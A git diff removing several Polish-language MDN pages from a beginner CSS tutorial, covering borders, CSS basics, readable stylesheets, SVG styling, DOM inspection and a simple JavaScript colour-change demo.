Różne przeglądarki układają elementy na różne sposoby. Wynik może wyglądać podobnie, póki Twój arkusz stylów nic nie zmienia. Czasem może to dać dość zaskakujące rezultaty.

Aby uzyskać spodziewany rezultat, możesz chcieć zmienić znaczniki dokumentu. Następna strona tego kursu tłumaczy, jak to zrobić.

Aby dowiedzieć się więcej o marginesach i ramkach, zajrzyj do specyfikacji CSS do rozdziału model blokowy.

-

Zadanie: Dodawanie ramek

-

Wyedytuj swój plik CSS. Dodaj poniższą regułę, aby rysować linię nad każdym nagłówkiem:

-
-

h3 {border-top: 1px solid gray;}

-
-

Jeżeli podjąłeś(aś) wyzwanie z poprzedniej strony, zmodyfikuj stworzoną regułę; w przeciwnym wypadku dodaj nową regułę, która doda przestrzeń pod każdym elementem listy:

-
-

li {

-
 list-style: lower-roman;
- margin-bottom: 8px;
- }
-
-
-

Odśwież okno przeglądarki, aby zobaczyć wynik:

- -

(A) Oceany

  • Arktyczny
  • Atlantycki
  • Spokojny
  • Indyjski
  • Południowy

(B) Numbered paragraphs

1: Lorem ipsum

2: Dolor sit

3: Amet consectetuer

4: Magna aliquam

5: Autem veleum

-

 

- -
Wyzwanie
Dodaj regułę do swojego arkusza stylów, która stworzy szeroką ramkę wokół wszystkich oceanów w kolorze, który kojarzy Ci się z morzem — coś w stylu:

(A) The oceans

  • Arctic
  • Atlantic
  • Pacific
  • Indian
  • Southern

(B) Numbered paragraphs

. . .

(Nie musisz uzyskać identycznej szerokości ani koloru jak tutaj.)

-

Co dalej?

-

Jeżeli masz problemy ze zrozumieniem tej strony albo chcesz ją skomentować, pomóż nam, dopisując się na stronie Dyskusji.

-

Poprzez określenie marginesów modyfikujesz układ dokumentu. Na następnej stronie nauczysz się zmieniać układ w inny sposób: Układ

-

{{ languages( { "en": "en/CSS/Getting_Started/Boxes", "fr": "fr/CSS/Premiers_pas/Bo\u00eetes", "pt": "pt/CSS/Como_come\u00e7ar/Caixas" } ) }}

diff --git "a/files/pl/web/css/na_pocz\304\205tek/czym_jest_css/index.html" "b/files/pl/web/css/na_pocz\304\205tek/czym_jest_css/index.html" deleted file mode 100644 index 4502cad557..0000000000 --- "a/files/pl/web/css/na_pocz\304\205tek/czym_jest_css/index.html" +++ /dev/null @@ -1,133 +0,0 @@ ---- -title: Czym jest CSS -slug: Web/CSS/Na_początek/Czym_jest_CSS -tags: - - 'CSS:Na_początek' -translation_of: Learn/CSS/First_steps/How_CSS_works -translation_of_original: Web/Guide/CSS/Getting_started/What_is_CSS ---- -

 

- -

Ta strona opisuje, czym jest CSS.

- -

Informacja: Czym jest CSS?

- -

CSS jest językiem określającym, jak dokumenty mają być prezentowane użytkownikowi.

- -

Dokumentjest to kolekcja informacji ułożona w strukturę przy użyciujęzyka znaczników.

- - - - - - - - -
Przykłady
-
    -
  • Strona, taka jak ta, jest dokumentem.
    - Informacje, które widzisz na stronie, zazwyczaj są ułożone w strukturę przy użyciu języka znaczników HTML (HyperText Markup Language).
  • -
- -
    -
  • Okienko dialogowe w aplikacji Mozilli jest dokumentem.
    - Kontrolki interfejsu użytkownika, które widzisz w okienku dialogowym Mozilli, są ułożone w strukturę przy użyciu języka znaczników XUL (XML User-interface Language).
  • -
-
- -

W tym kursie bloki oznaczone Więcej szczegółów, jak poniższy, zawierają informacje, których znajomość nie jest wymagana do dalszego korzystania z kursu. Jeżeli się spieszysz, możesz spokojnie pominąć te bloki i na przykład wrócić do nich później.

- - - - - - - - -
Więcej szczegółów
-

Dokument nie jest tym samym co plik. Dokument może, ale nie musi być składowany w pliku.

- -

Na przykład dokument, który w tym momencie czytasz, nie jest zapisany w pliku. Kiedy Twoja przeglądarka prosi o stronę, serwer odpytuje bazę danych i generuje dokument, składając jego części z wielu plików i fragmentów z bazy danych. Jednak w trakcie tego kursu będziesz pracować z dokumentami składowanymi w plikach.

- -

Więcej informacji na temat dokumentów i języków znaczników znajdziesz w innych częściach tej strony — na przykład:

- - - - - - - - - - - - - - - - - - - - -
HTMLo stronach internetowych
XMLo strukturalnych dokumentach
SVGo grafice
XULo interfejsie użytkownika w Mozilli
-
- -

Prezentowaniedokumentu użytkownikowi oznacza skonwertowanie go do postaci, w jakiej będzie on przydatny użytkownikowi. Mozilla prezentuje dokumenty wizualnie — na przykład na ekranie komputera, obrazie wyświetlanym przez projektor lub wydruku.

- - - - - - - - -
Więcej szczegółów
CSS jest przeznaczony nie tylko dla przeglądarek i prezentacji graficznych. W formalnej terminologii CSS program, który prezentuje dokumenty użytkownikowi, nazywany jestagentem (ang. User Agent - UA). Przeglądarka jest tylko jednym z wielu rodzajów UA. Jednakże część pierwsza tego kursu skupia się na pracy z językiem CSS w przeglądarce. -

Formalne definicje terminologii związanej z CSS znajdziesz w Specyfikacji CSS w dziale Definicje.

-
- -

Zadanie: Tworzenie dokumentu

- -

Stwórz nowy katalog, a w nim nowy plik. Ten plik będzie Twoim dokumentem.

- -

Skopiuj i wklej poniższy kod HTML. Zapisz plik pod nazwą doc1.html

- -
-
<!DOCTYPE html>
-<html>
-  <head>
-  <meta charset="UTF-8">
-  <title>Sample document</title>
-  </head>
-
-  <body>
-    <p>
-      <strong>C</strong>ascading
-      <strong>S</strong>tyle
-      <strong>S</strong>heets
-    </p>
-  </body>
-</html>
-
- -

Otwórz nowy panel lub nowe okno w Twojej przeglądarce i otwórz ten plik.

- -

Powinieneś zobaczyć tekst zaczynający się od pogrubionych liter:

- - - - - - - -
Cascading Style Sheets
- -

To, co widzisz w przeglądarce, może się trochę różnić z powodu ustawień przeglądarki oraz tego wiki. Jeżeli istnieją jakieś różnice w kroju pisma, odstępach i kolorach, które widzisz, nie jest to żaden problem.

- -

Co dalej?

- -

Jeżeli masz problemy ze zrozumieniem tej strony lub chcesz ją skomentować, pomóż nam, dopisując się na stronie Dyskusji.

- -

Twój dokument nie używa jeszcze CSS. Na następnej stronie zaczniesz używać CSS do określania stylów: Po co używać CSS

- -

{{ languages( { "en": "en/CSS/Getting_Started/What_is_CSS", "fr": "fr/CSS/Premiers_pas/Pr\u00e9sentation_des_CSS", "it": "it/Conoscere_i_CSS/Che_cosa_sono_i_CSS", "ja": "ja/CSS/Getting_Started/What_is_CSS", "pt": "pt/CSS/Como_come\u00e7ar/O_que_\u00e9_CSS", "zh-cn": "cn/CSS/Getting_Started/What_is_CSS" } ) }}

diff --git "a/files/pl/web/css/na_pocz\304\205tek/czytelny_css/index.html" "b/files/pl/web/css/na_pocz\304\205tek/czytelny_css/index.html" deleted file mode 100644 index 0e62945cbd..0000000000 --- "a/files/pl/web/css/na_pocz\304\205tek/czytelny_css/index.html" +++ /dev/null @@ -1,154 +0,0 @@ ---- -title: Czytelny CSS -slug: Web/CSS/Na_początek/Czytelny_CSS -tags: - - 'CSS:Na_początek' -translation_of: Learn/CSS/Introduction_to_CSS/Syntax#Beyond_syntax_make_CSS_readable -translation_of_original: Web/Guide/CSS/Getting_started/Readable_CSS ---- -

-

Ta strona opisuje styl i gramatykę języka CSS. -

Zmienisz wygląd swojego pliku CSS, aby był bardziej czytelny. -

-

Informacja: Czytelny CSS

-

Możesz dodać białe znaki i komentarze do swojego arkusza stylów, aby uczynić go bardziej czytelnym. -Możesz też grupować selektory razem, kiedy te same reguły stylów dotyczą wybranych elementów w różny sposób. -

-

Białe znaki

-

Białe znaki to spacje, tabulatory i nowe linie. -Dzięki białym znakom arkusz stylów będzie bardzie czytelny. -

Twój przykładowy plik CSS zawiera w tej chwili jedną regułę na linię i prawie minimalną liczbę białych znaków. W złożonych arkuszach stylów taki układ byłby bardzo trudny do czytania, utrudniając zarządzanie arkuszem. -

Styl, który wybierzesz, zazwyczaj zależy od prywatnych przyzwyczajeń, ale Twój arkusz stylów może być częścią projektu, którym zajmuje się więcej osób. W takiej sytuacji przyjmuje się pewne konwencje. -

- - -
Przykłady -
Niektórzy ludzie lubią zwięzły układ, którego używaliśmy do tej pory, dzieląc linię jedynie wtedy, kiedy staje się ona bardzo długa: -
-.carrot {color: orange; text-decoration: underline; font-style: italic;}
-
-

Inni wolą układać jedną własność-wartość na linię: -

-
-

.carrot -{ -color: orange; -text-decoration: underline; -font-style: italic; -} -

-
-

Inni używają wcięć — często używane są dwie spacje, cztery spacje lub tabulator: -

-
-

.carrot { -

-
 color: orange;
- text-decoration: underline;
- font-style: italic;
-
-

} -

-
-

Inni wolą ustawiać wszystko względem pionowej osi (jednak taki układ jest trudny w zarządzaniu): -

-
-

.carrot -

-
   {
-   color           : orange;
-   text-decoration : underline;
-   font-style      : italic;
-   }
-
-
-

Tworząc wcięcia jedni wolą używać tabulatorów, inni zaś tylko spacji. -

-
-

Komentarze

-

Komentarze w CSS zaczynają się od /*, a kończą się na */. -

Możesz używać komentarzy, aby komentować elementy swojego arkusza stylów oraz do wykomentowywania części aktualnie nieużywanych. -

Aby wykomentować części arkusza stylów, umieść tę część w komentarzu, a przeglądarka ją zignoruje. -Należy uważać, gdzie zaczyna, a gdzie kończy się komentarz. -Dalsza część arkusza stylów musi mieć poprawną składnię. -

- - -
Przykład -
-

/* styl dla początkowej litery C w pierwszym paragrafie */ -.carrot { -

-
 color:            orange;
- text-decoration:  underline;
- font-style:       italic;
- }
-
-
-
-

Grupy Selektorów

-

Kiedy wiele selektorów ma ten sam styl, możesz określić grupę selektorów, oddzielając je przecinkami. -Deklaracja zostanie zastosowana do wszystkich wybranych elementów. -

W innych miejscach arkusza stylów możesz określić te same selektory ponownie, aby nadać im indywidualne reguły. -

- - -
Przykład -
Ta reguła sprawia, że elementy H1, H2 oraz H3 są tego samego koloru. -

Wygodnie jest określić kolor tylko w jednym miejscu, na wypadek, gdyby miał być zmieniany. -

-
-

/* kolory nagłówków */ -h1, h2, h3 {color: navy;} -

-
-
-

Zadanie: Dodawanie komentarzy i poprawianie układu

-

Wyedytuj swój plik CSS i upewnij się, że posiada on te reguły (w dowolnej kolejności): -

-
-

strong {color: red;} -.carrot {color: orange;} -.spinach {color: green;} -

-
  1. first {font-style: italic;} -
-

p {color: blue;} -

-
-

Spraw, aby stał się bardziej czytelny, zmieniając kolejność w sposób, który uznasz za logiczny oraz dodając białe znaki i komentarze w taki sposób, jaki uznasz za najlepszy. -

Zapisz ten plik i odśwież stronę w przeglądarce, aby upewnić się, że Twoje zmiany nie wpłynęły na działanie arkusza stylów: -

- - - - -
Cascading Style Sheets -
Cascading Style Sheets -
-


-

- - -
Wyzwanie -
Wykomentuj część arkusza stylów bez zmieniania czegokolwiek poza tym, aby pierwsza litera dokumentu była czerwona: - - - - -
Cascading Style Sheets -
Cascading Style Sheets -
-

(Jest więcej niż jeden sposób, aby to zrobić.) -

-
-


-

-

Co dalej?

-

Twój przykładowy dokument używa kursywy oraz podkreślenia. -Następna strona omawia kolejne sposoby na określanie wyglądu tekstu w dokumencie: -Style tekstowe -

-
-
-{{ languages( { "en": "en/CSS/Getting_Started/Readable_CSS", "fr": "fr/CSS/Premiers_pas/Des_CSS_lisibles", "it": "it/Conoscere_i_CSS/CSS_leggibili", "ja": "ja/CSS/Getting_Started/Readable_CSS", "pt": "pt/CSS/Como_come\u00e7ar/CSS_leg\u00edvel" } ) }} diff --git "a/files/pl/web/css/na_pocz\304\205tek/grafika_svg/index.html" "b/files/pl/web/css/na_pocz\304\205tek/grafika_svg/index.html" deleted file mode 100644 index 1581fbdcd8..0000000000 --- "a/files/pl/web/css/na_pocz\304\205tek/grafika_svg/index.html" +++ /dev/null @@ -1,195 +0,0 @@ ---- -title: Grafika SVG -slug: Web/CSS/Na_początek/Grafika_SVG -tags: - - 'CSS:Na_początek' -translation_of: Web/SVG/Tutorial/SVG_and_CSS ---- -

-

Ta strona ilustruje specjalny język do tworzenia grafiki: SVG. -

Stworzysz prostą demonstrację, która działa w przeglądarce Mozilli z obsługą SVG.

-

Informacja: SVG

-

SVG (Skalowalna Grafika Wektorowa) jest bazującym na XML-u językiem do tworzenia grafiki. -

Może być używana do tworzenia statycznych obrazków, ale także animacji i interfejsów użytkownika. -

Podobnie jak inne bazujące na XML-u języki, SVG obsługuje arkusze stylów CSS, dzięki czemu możesz oddzielić styl grafiki od jej zawartości. -

Ponadto, arkusz stylów, którego używasz w innych językach znaczników dokumentu, może wskazywać adres grafiki SVG tam, gdzie potrzebny jest obrazek. -Na przykład, arkusz stylów, którego używasz w dokumencie HTML może wskazywać na adres URL grafiki SVG jako wartość własności background. -

- - -
Więcej szczegółów -
W trakcie pisania tego kursu (połowa 2005) tylko najnowsze wydania przeglądarek Mozilli posiadają wbudowaną obsługę SVG. -

Możesz dodać wsparcie dla SVG do innych wersji instalując wtyczkę taką, jak ta wydana przez Adobe. -

Aby dowiedzieć się więcej o SVG w Mozilli, zajrzyj na stronę SVG w tym wiki. -

-
-

Zadanie: Demonstracja SVG

-

Stwórz nowy dokument SVG jako czysty plik tekstowy, doc8.svg. -Skopiuj i wklej do niego poniższy kod, upewniając się, że zaznaczyłeś(aś) cały: -

-
<?xml version="1.0" standalone="no"?>
-
-<?xml-stylesheet type="text/css" href="style8.css"?>
-
-<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN"
-  "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
-
-<svg width="600px" height="600px" viewBox="-300 -300 600 600"
-  xmlns="http://www.w3.org/2000/svg" version="1.1"
-  xmlns:xlink="http://www.w3.org/1999/xlink">
-
-<title>SVG demonstration</title>
-<desc>Mozilla CSS Getting Started - SVG demonstration</desc>
-
-<defs>
-  <g id="segment" class="segment">
-    <path class="segment-fill" d="M0,0 v-200 a40,40 0 0,0 -62,10 z"/>
-    <path class="segment-edge" d="M0,-200 a40,40 0 0,0 -62,10"/>
-    </g>
-  <g id="quadrant">
-    <use xlink:href="#segment"/>
-    <use xlink:href="#segment" transform="rotate(18)"/>
-    <use xlink:href="#segment" transform="rotate(36)"/>
-    <use xlink:href="#segment" transform="rotate(54)"/>
-    <use xlink:href="#segment" transform="rotate(72)"/>
-    </g>
-  <g id="petals">
-    <use xlink:href="#quadrant"/>
-    <use xlink:href="#quadrant" transform="rotate(90)"/>
-    <use xlink:href="#quadrant" transform="rotate(180)"/>
-    <use xlink:href="#quadrant" transform="rotate(270)"/>
-    </g>
-  <radialGradient id="fade" cx="0" cy="0" r="200"
-      gradientUnits="userSpaceOnUse">
-    <stop id="fade-stop-1" offset="33%"/>
-    <stop id="fade-stop-2" offset="95%"/>
-    </radialGradient>
-  </defs>
-
-<text id="heading" x="-280" y="-270">
-  SVG demonstration</text>
-<text  id="caption" x="-280" y="-250">
-  Move your mouse pointer over the flower.</text>
-
-<g id="flower">
-  <circle id="overlay" cx="0" cy="0" r="200"
-    stroke="none" fill="url(#fade)"/>
-  <use id="outer-petals" xlink:href="#petals"/>
-  <use id="inner-petals" xlink:href="#petals"
-    transform="rotate(9) scale(0.33)"/>
-  </g>
-
-</svg>
-
-

Stwórz nowy plik CSS, style8.css. -Skopiuj i wklej do niego poniższy kod, upewniając się, że zaznaczyłeś(aś) cały: -

-
/*** SVG demonstration ***/
-
-/* page */
-svg {
-  background-color: beige;
-  }
-
-#heading {
-  font-size: 24px;
-  font-weight: bold;
-  }
-
-#caption {
-  font-size: 12px;
-  }
-
-/* flower */
-#flower:hover {
-  cursor: crosshair;
-  }
-
-/* gradient */
-#fade-stop-1 {
-  stop-color: blue;
-  }
-
-#fade-stop-2 {
-  stop-color: white;
-  }
-
-/* outer petals */
-#outer-petals {
-  opacity: .75;
-  }
-
-#outer-petals .segment-fill {
-  fill: azure;
-  stroke: lightsteelblue;
-  stroke-width: 1;
-  }
-
-#outer-petals .segment-edge {
-  fill: none;
-  stroke: deepskyblue;
-  stroke-width: 3;
-  }
-
-#outer-petals .segment:hover > .segment-fill {
-  fill: plum;
-  stroke: none;
-  }
-
-#outer-petals .segment:hover > .segment-edge {
-  stroke: slateblue;
-  }
-
-/* inner petals */
-#inner-petals .segment-fill {
-  fill: yellow;
-  stroke: yellowgreen;
-  stroke-width: 1;
-  }
-
-#inner-petals .segment-edge {
-  fill: none;
-  stroke: yellowgreen;
-  stroke-width: 9;
-  }
-
-#inner-petals .segment:hover > .segment-fill {
-  fill: darkseagreen;
-  stroke: none;
-  }
-
-#inner-petals .segment:hover > .segment-edge {
-  stroke: green;
-  }
-
-

Otwórz ten dokument w swojej przeglądarce z obsługą SVG. Przesuwaj kursor myszy nad grafiką. -

To wiki nie obsługuję SVG na stronach, więc nie jest możliwe pokazanie demonstracji. -Grafika wygląda mniej więcej tak: -

- - -
Demonstracja SVG -
-

Uwagi dotyczące tej demonstracji: -

- -


-

- - -
Wyzwanie -
Zmień ten arkusz stylów, aby wewnętrzne płatki zmieniały się wszystkie na różowy, kiedy wskaźnik myszy znajduje się nad jednym z nich, bez zmiany działania zewnętrznych płatków. -
-


-

-

Co dalej?

-

Jeżeli masz problemy ze zrozumieniem tej strony, lub jeżeli masz jakieś komentarze na jej temat, pomóż nam dopisując się na stronie Dyskusji. -

W tej demonstracji Twoja przeglądarka, obsługująca SVG, umie już wyświetlić elementy SVG. -Arkusz stylów modyfikuje tylko sposób wyświetlania elementów. -Tak samo dzieje się z dokumentami HTML i XUL. -Możesz też używać CSS-a w dokumentach XML ogólnego przeznaczenia, gdzie nie istnieje domyślny sposób wyświetlania elementów. -Następna strona omawia ten temat: -Dane XML -

{{ languages( { "en": "en/CSS/Getting_Started/SVG_graphics", "fr": "fr/CSS/Premiers_pas/Graphiques_SVG", "pt": "pt/CSS/Como_come\u00e7ar/Gr\u00e1ficos_SVG" } ) }} diff --git "a/files/pl/web/css/na_pocz\304\205tek/index.html" "b/files/pl/web/css/na_pocz\304\205tek/index.html" deleted file mode 100644 index 22b975504c..0000000000 --- "a/files/pl/web/css/na_pocz\304\205tek/index.html" +++ /dev/null @@ -1,64 +0,0 @@ ---- -title: Na początek -slug: Web/CSS/Na_początek -tags: - - CSS - - 'CSS:Na_początek' - - Wszystkie_kategorie -translation_of: Learn/CSS/First_steps -translation_of_original: Web/Guide/CSS/Getting_started ---- -

 

-

Wprowadzenie

-

Ten kurs wprowadza użytkownika w świat kaskadowych arkuszy stylów (CSS).

-

Pokaże Ci on, jak korzystać z podstawowych funkcji CSS przy użyciu praktycznych przykładów, które możesz sprawdzić na swoim komputerze. Kurs składa się z dwóch części.

- - -

Ten kurs bazuje na specyfikacji CSS 2.1.

-

Kto może skorzystać z tego kursu?

-

Kurs jest przeznaczony dla początkujących, ale może być też przydatny dla osób mających już pewną wiedzę o CSS.

-

Jeżeli jesteś początkujący, skorzystaj z pierwszej części tego kursu, by zrozumieć działanie CSS i nauczyć się go używać. Potem przeczytaj część drugą, aby zrozumieć zakres wykorzystania CSS w produktach Mozilli.

-

Jeżeli znasz już trochę CSS, możesz pominąć części kursu, które omawiają znane Ci tematy i skupić się na tych, które są dla Ciebie nowe.

-

Jeżeli znasz dobrze CSS, ale nie w Mozilli, przejdź do części drugiej.

-

Czego potrzebujesz, zanim zaczniesz?

-

Aby móc swobodnie korzystać z tego kursu, potrzebujesz edytora plików tekstowych oraz przeglądarkę Mozilla (Firefox lub Mozilla Suite) i powinieneś umieć korzystać z obu tych produktów w podstawowym zakresie.

-

Jeżeli nie chcesz edytować plików, możesz po prostu czytać kurs i patrzeć na obrazki, ale taka metoda nauki jest znacznie mniej efektywna.

-

Niektóre części tego kursu mogą wymagać innych aplikacji Mozilli. Części te są opcjonalne. Jeżeli nie chcesz pobierać innych aplikacji Mozilli, po prostu pomiń je.

-

Uwaga:  CSS umożliwia pracę z kolorami, więc niektóre części kursu zależą od kolorów. Możesz z nich wygodnie korzystać, jeśli posiadasz kolorowy wyświetlacz i prawidłowo rozróżniasz kolory.

-

Jak korzystać z tego kursu

-

Aby korzystać z tego kursu, przeczytaj uważnie wszystkie strony po kolei. Jeżeli pominiesz jedną stronę, możesz mieć trudności z rozumieniem dalszych.

-

Na każdej stronie sekcja Informacja opisuje, jak działa CSS. Dzięki sekcji Zadanie będziesz mógł wypróbować użycie CSS na swoim komputerze.

-

Aby sprawdzić, jak dobrze rozumiesz treść, podejmij wyzwanie znajdujące się na dole każdej strony. Rozwiązania niektórych wyzwań są prezentowane na późniejszych stronach kursu.

-

Aby lepiej zrozumieć CSS, przeczytaj informacje znajdujące się w boksach oznaczonych Więcej szczegółów. Użyj znajdujących się tam odnośników, aby dowiedzieć się więcej ze specyfikacji CSS.

-

Kurs – część pierwsza

-

Podstawowy kurs CSS, krok po kroku.

-
    -
  1. Czym jest CSS
  2. -
  3. Po co używać CSS
  4. -
  5. Jak działa CSS
  6. -
  7. Kaskadowość i dziedziczenie
  8. -
  9. Selektory
  10. -
  11. Czytelny CSS
  12. -
  13. Style tekstowe
  14. -
  15. Kolor
  16. -
  17. Treść
  18. -
  19. Listy
  20. -
  21. Bloki
  22. -
  23. Układ
  24. -
  25. Tabele
  26. -
  27. Media
  28. -
-

Kurs – część druga

-

Przykłady wykorzystania CSS w Mozilli.

-
    -
  1. JavaScript
  2. -
  3. Wiązania XBL
  4. -
  5. XUL-owe interfejsy użytkownika
  6. -
  7. Grafika SVG
  8. -
  9. Dane XML
  10. -
-

{{ languages( { "en": "en/CSS/Getting_Started", "fr": "fr/CSS/Premiers_pas", "it": "it/Conoscere_i_CSS", "ja": "ja/CSS/Getting_Started", "nl": "nl/CSS/Voor_Beginners", "zh-cn": "cn/CSS/\u5f00\u59cb", "pt": "pt/CSS/Como_come\u00e7ar" } ) }}

diff --git "a/files/pl/web/css/na_pocz\304\205tek/jak_dzia\305\202a_css/index.html" "b/files/pl/web/css/na_pocz\304\205tek/jak_dzia\305\202a_css/index.html" deleted file mode 100644 index 8ccbd65011..0000000000 --- "a/files/pl/web/css/na_pocz\304\205tek/jak_dzia\305\202a_css/index.html" +++ /dev/null @@ -1,114 +0,0 @@ ---- -title: Jak działa CSS -slug: Web/CSS/Na_początek/Jak_działa_CSS -tags: - - 'CSS:Na_początek' -translation_of: Learn/CSS/First_steps/How_CSS_works -translation_of_original: Web/Guide/CSS/Getting_started/How_CSS_works ---- -

-

Ta strona wyjaśnia, jak działa CSS w przeglądarce. -Przeanalizujesz przykładowy dokument, poznając szczegóły jego stylów. -

-

Informacja: Jak działa CSS

-

Kiedy Mozilla wyświetla dokument, musi połączyć treść dokumentu z jego informacjami o stylu. Tak więc dzieli ona proces na dwa etapy: -

- - -

Język znaczników używa znaczników do opisywania struktury dokumentu. Znacznik może być kontenerem, zawierającym inne znaczniki. -

DOM posiada strukturę drzewiastą. Każdy znacznik i fragment tekstowy w języku znaczników staje się węzłem w strukturze drzewiastej. Węzły DOM nie są kontenerami. W zamian za to mogą posiadać węzły rodziców i dzieci. -

Węzły, które odpowiadają znacznikom, znane są także jako elementy. -

- - -
Przykład -
W Twoim przykładowym dokumencie znacznik <P> i jego znacznik </P> tworzą kontener: -
-
<P>
-  <STRONG>C</STRONG>ascading
-  <STRONG>S</STRONG>tyle
-  <STRONG>S</STRONG>heets
-</P>
-
-
-

W DOM odpowiadający węzeł P jest rodzicem. -Jego dzieci to węzły STRONG oraz węzły tekstowe. -Węzły STRONG same są rodzicami posiadającymi węzły tekstowe jako swoje dzieci: -

-
-

P -├─STRONG -│ │ -│ └─"C" -│ -├─"ascading" -│ -├─STRONG -│ │ -│ └─"S" -│ -├─"tyle" -│ -├─STRONG -│ │ -│ └─"S" -│ -└─"heets" -

-
-
-

Zrozumienie DOM pomaga w tworzeniu, debugowaniu i zarządzaniu CSS, ponieważ DOM jest punktem, w którym łączona jest treść dokumentu ze stylami CSS. -

-

Zadanie: Analiza DOM

-

Do analizy DOM potrzebny jest specjalny program. -Służy do tego na przykład Inspektor DOM Mozilli. -

Użyj przeglądarki Mozilla do otworzenia przykładowego dokumentu. -

Z paska menu przeglądarki wybierz Narzędzia – Inspektor DOM lub Narzędzia – Programowanie WWW – Inspektor DOM. -

- - -
Więcej szczegółów -
Jeżeli Twoja przeglądarka Mozilli nie posiada Inspektora DOM, możesz zainstalować przeglądarkę ponownie, zaznaczając przy instalacji komponent narzędzi programistycznych. Potem wróć do tego kursu. -

DevmoPL: Możesz też zainstalować DOMi jako rozszerzenie -

Jeżeli nie chcesz instalować Inspektora DOM, możesz pominąć ten rozdział i przejść do następnej strony. Pominięcie tej sekcji nie wpłynie na resztę kursu. -

-
-

W Inspektorze DOM rozwiń węzły dokumentu, klikając na strzałki. -

Notka:  Formatowanie spacjami dokumentu HTML spowoduje, że pojawią się puste węzły, które możesz zignorować. -

Część wyniku może wyglądać tak: -

- - -
-

│ -P -│ │ -│ STRONG -│ │ └#text -│ ├╴#text -│ STRONG -│ │ -

-
-
-

Kiedy wybierasz jakikolwiek węzeł, możesz dowiedzieć się o nim więcej, używając prawej kolumny Inspektora DOM. -Na przykład po wybraniu węzła tekstowego Inspektor DOM pokazuje jego zawartość w prawej kolumnie. -

Kiedy zaznaczasz węzeł elementu, Inspektor DOM analizuje go i podaje w prawym panelu ogromną liczbę informacji. Informacje o stylu są tylko częścią informacji, jakie można tam znaleźć. -

- - -
Wyzwanie -
W Inspektorze DOM wybierz węzeł STRONG. -

Skorzystaj z prawego panelu Inspektora, aby dowiedzieć się, gdzie kolor węzła ustawiony został na czerwony i gdzie jego wygląd jest ustawiany na grubszy niż normalny tekst. -

-
-


-

-

Co dalej?

-

Jeżeli masz problemy ze zrozumieniem tej strony albo chcesz ją skomentować, pomóż nam, dopisując się na stronie Dyskusji. -

Jeżeli podjąłeś(podjęłaś) wyzwanie, widzisz, że informacje o stylu z wielu miejsc wiążą się, tworząc końcowy styl elementu. -

Następna strona wyjaśnia więcej na temat tych interakcji: -Kaskadowość i dziedziczenie -

{{ languages( { "en": "en/CSS/Getting_Started/How_CSS_works", "fr": "fr/CSS/Premiers_pas/Fonctionnement_de_CSS", "it": "it/Conoscere_i_CSS/Come_funzionano_i_CSS", "ja": "ja/CSS/Getting_Started/How_CSS_works", "pt": "pt/CSS/Como_come\u00e7ar/Como_o_CSS_trabalha", "zh-cn": "cn/CSS/Getting_Started/How_CSS_works" } ) }} diff --git "a/files/pl/web/css/na_pocz\304\205tek/javascript/index.html" "b/files/pl/web/css/na_pocz\304\205tek/javascript/index.html" deleted file mode 100644 index 128ef84501..0000000000 --- "a/files/pl/web/css/na_pocz\304\205tek/javascript/index.html" +++ /dev/null @@ -1,127 +0,0 @@ ---- -title: JavaScript -slug: Web/CSS/Na_początek/JavaScript -tags: - - 'CSS:Na_początek' -translation_of: Learn/JavaScript/Client-side_web_APIs/Manipulating_documents -translation_of_original: Web/Guide/CSS/Getting_started/JavaScript ---- -

-

Jest to druga część tego kursu. Część II zawiera trochę przykładów pokazujących zakres użycia CSS w Mozilli. -

Każda strona Części II ilustruje jak CSS współpracuje z innymi technologiami. -Te strony nie zostały stworzone po to, aby nauczyć Cię korzystać z tych technologii. -Jeśli chcesz je poznać, skorzystaj z innych kursów. -

Natomiast, te strony zostały stworzone po to, aby pokazać wiele możliwości wykorzystania CSS. -Aby używać tych stron, powinieneś(aś) znać CSS, ale nie musisz znać innych technologii. -

-

Informacja: JavaScript

-

JavaScript jest językiem programowania. -Duża część kodu aplikacji Mozilla (na przykład przeglądarki) jest napisana w JavaScripcie. -

JavaScript może współpracować z arkuszami stylów, pozwalając Ci pisać aplikacje, które dynamicznie zmieniają styl dokumentu. -

Istnieją na to trzy sposoby: -

- - - -
Więcej szczegółów -
Aby dowiedzieć się więcej o JavaScripcie w Mozilli, zajrzyj na stronę JavaScript na tym wiki. -
-

Zadanie: Demonstracja wykorzystania Javascript-u

-

Stwórz nowy dokument HTML, doc5.html. -Skopiuj i wklej poniższy kod, upewniając się, że zaznaczyłeś(aś) cały: -

-
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0//EN">
-<HTML>
-
-<HEAD>
-<TITLE>Mozilla CSS Getting Started - JavaScript demonstration</TITLE>
-<LINK rel="stylesheet" type="text/css" href="style5.css">
-<SCRIPT type="text/javascript" src="script5.js"></SCRIPT>
-</HEAD>
-
-<BODY>
-<H1>JavaScript sample</H1>
-
-<DIV id="square"></DIV>
-
-<BUTTON type="button" onclick="doDemo(this);">Click Me</BUTTON>
-
-</BODY>
-</HTML>
-
-

Stwórz nowy plik CSS, style5.css. -Skopiuj i wklej do niego poniższy kod: -

-
/*** JavaScript demonstration ***/
-#square {
-  width: 20em;
-  height: 20em;
-  border: 2px inset gray;
-  margin-bottom: 1em;
-  }
-
-button {
-  padding: .5em 2em;
-  }
-
-

Stwórz nowy plik tekstowy, script5.js. -Skopiuj i wklej do niego poniższy kod: -

-
// JavaScript demonstration
-function doDemo (button) {
-  var square = document.getElementById("square")
-  square.style.backgroundColor = "#fa4"
-  button.setAttribute("disabled", "true")
-  setTimeout(clearDemo, 2000, button)
-  }
-
-function clearDemo (button) {
-  var square = document.getElementById("square")
-  square.style.backgroundColor = "transparent"
-  button.removeAttribute("disabled")
-  }
-
-

Otwórz dokument w swojej przeglądarce i naciśnij przycisk. -

To wiki nie obsługuje JavaScriptu na stronach, więc nie jest możliwe zademonstrowanie działania tego kodu tutaj. -Wygląda to mniej więcej jak poniżej, przed i po naciśnięciu przycisku: -

- - -
- - -

JavaScript demonstration

-
-
-
-
- - -

JavaScript demonstration

-
-
-
-
-

Uwagi dotyczące demonstracji: -

- - - -
Wyzwanie -
Zmień skrypt tak, aby obiekt square skakał w prawo o 20 em, kiedy jego kolor się zmienia, i skakał z powrotem, kiedy kolor wraca do podstawowego. -
-

Co dalej?

-

Jeżeli masz problemy ze zrozumieniem tej strony albo chcesz ją skomentować, pomóż nam, dopisując się na stronie Dyskusji. -

